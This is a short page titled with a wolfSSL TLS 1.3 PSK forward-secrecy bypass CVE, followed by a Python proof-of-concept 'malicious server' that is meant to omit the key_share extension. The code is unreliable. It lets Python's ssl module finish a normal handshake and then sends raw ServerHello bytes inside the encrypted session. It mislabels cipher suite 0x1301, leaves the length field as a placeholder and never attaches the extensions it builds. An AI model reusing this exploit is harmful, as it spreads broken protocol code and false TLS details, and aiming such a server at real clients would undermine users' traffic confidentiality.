CVE-2025-11935 wolfSSL TLS 1.3 PSK完美前向保密绕过漏洞

# PoC: Malicious TLS 1.3 Server Bypassing PFS # This PoC demonstrates how a malicious server can bypass PFS requirement import socket import ssl import struct def create_malicious_server(): """ Create a malicious TLS 1.3 server that responds without key_share to bypass PFS requirement on client side. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain('server.crt', 'server.key') # Listen for connections server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 4433)) server_socket.listen(5) while True: client_conn, addr = server_socket.accept() ssl_conn = context.wrap_socket(client_conn, server_side=True) # Malicious behavior: Complete handshake without key_share # This causes wolfSSL clients to use PSK without PFS data = ssl_conn.recv(4096) print(f"Received ClientHello from {addr}") # Send ServerHello WITHOUT key_share extension # This is the key to exploiting CVE-2025-11935 server_hello = build_server_hello_without_keyshare(data) ssl_conn.send(server_hello) ssl_conn.close() def build_server_hello_without_keyshare(client_hello): """ Build ServerHello message that omits key_share extension. This causes wolfSSL to continue with PSK but without PFS. """ # Simplified ServerHello construction # Real implementation requires proper TLS 1.3 message construction server_hello = bytearray() # ServerHello header server_hello.extend([0x02]) # Handshake type: ServerHello server_hello.extend([0x00, 0x00, 0x00]) # Length placeholder # Server version and random server_hello.extend([0x03, 0x03]) # TLS 1.2 (will be negotiated down) server_hello.extend(b'\x00' * 32) # Random # Session ID server_hello.extend([0x00]) # Cipher suite (without key_share in extensions) server_hello.extend([0x13, 0x01]) # TLS_AES_256_GCM_SHA384 # Compression method server_hello.extend([0x00]) # Extensions WITHOUT key_share - THIS IS THE VULNERABILITY extensions = bytearray() # Add psk_extension (empty or minimal) # Omit key_share extension entirely return bytes(server_hello) if __name__ == "__main__": print("Malicious TLS Server for CVE-2025-11935 PoC") print("This server bypasses PFS requirement in TLS 1.3 PSK") create_malicious_server()